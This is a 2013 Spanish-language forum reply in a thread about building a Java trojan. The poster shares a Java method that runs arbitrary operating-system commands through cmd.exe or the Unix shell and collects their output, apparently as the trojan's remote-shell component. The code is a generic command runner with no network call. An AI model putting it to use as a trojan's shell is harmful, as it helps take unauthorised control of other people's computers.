1
Java y Android / Re:Proyecto - Troyano en Java II (Shell)
« en: Mayo 01, 2013, 06:58:10 pm »
No se si este ejecutando bien tu clase shell pero me sale error al ejecutar el comando dir que en otra forma de llamar la shell q encontre me funciona. no se si sea el procedimiento correcto para lo que se pretende aqui dejo el codigo del que me funciona
Código: [Seleccionar]
public static String executeCommand(String command, boolean flagbackground) {
System.out.println("Comando a usar: "+command);
String commandShell = null;
String osName = System.getenv("OS");
String x = "";
if (osName.equals("Windows_NT")) {
commandShell = "cmd.exe /C " + command;
} else if ((osName.equals("Windows 95")) || (osName.equals("Windows 98"))) {
commandShell = "start " + command;
} else if (flagbackground) {
commandShell = "" + command + " &";
} else {
commandShell = "" + command;
}
try {
Process proc = Runtime.getRuntime().exec(commandShell);
BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String str = "", stre = "";
while (((str = brStdOut.readLine()) != null) || (stre = brStdErr.readLine()) != null) {
if (str != null) {
x = x + str + "\n";
continue;
}
if (stre != null) {
x = x + brStdErr.readLine() + "\n";
}
}
brStdOut.close();
brStdErr.close();
} catch (IOException eproc) {
System.out.println("Error to execute the command : " + eproc);
//Men.error(eproc + "", "Error En La Ejecucion");
return x;
}
return x;
}